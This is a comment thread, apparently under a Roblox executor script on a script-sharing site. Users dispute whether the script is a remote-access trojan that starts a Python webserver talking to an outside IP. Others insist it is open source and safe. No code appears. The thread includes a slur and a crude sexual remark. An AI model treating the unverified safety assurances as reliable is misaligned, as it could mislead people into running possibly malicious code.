someone123someone123Mar 13, 2025(edited)

it executes a python script 50% rat alarm

jopelij418jopelij418Mar 21, 2025(edited)

hashlib is nil

2orb2orbMar 29, 2025

bro made my xeno unc drop from 81% to 1%

synflagsynflagApr 16, 2025

-- THIS IS NOT TO BE EXECUTED ON ALREADY MADE EXECUTORS, THIS IS FOR EXECUTORS TO BOOST THEIR UNC% IF ADDED CORRECTLY --

mentormentorApr 26, 2025

lol this is a rat. Starts a python webserver.... why does localhost need to speak to an outside IP for setclipboard @vxsty ? Would love to know. Its not even obfuscated....

vxstyvxstyApr 26, 2025

@mentor Because its not a rat..? The python webserver is for the UNC functions, The code is literally open source

seriously people dont know how python works or cant even read them🥀💀

Sonny728Sonny728Oct 23, 2025

do not run this, this makes a backdoor in your pc and is malware/spyware

Replying to @Sonny728
1BenPro1BenProDec 1, 2025

@Sonny728 brotato peel, this is open sourced. It is not a RAT, not malware, and not spyware!

I_eat_beans_bruhI_eat_beans_bruhNov 30, 2025

this is open source twin, if you think it's a rat you can read it yourself

wesdfrwesdfrJan 22, 2026

my * gets hard when i execute this

NjGGERIANjGGERIAFeb 13, 2026

yea dude, n i ggas out here screaming that its a rat but when i read the code. IT AINT A RAT. and somehow.. YOU CAN ADD PYTHON SCRIPTS IN SCRIPTS? oh shihihiiitt

Replying to @NjGGERIA
voltexvoltexApr 18, 2026

@NjGGERIA pretty sure thats long patched

More Scripts for Universal Scripts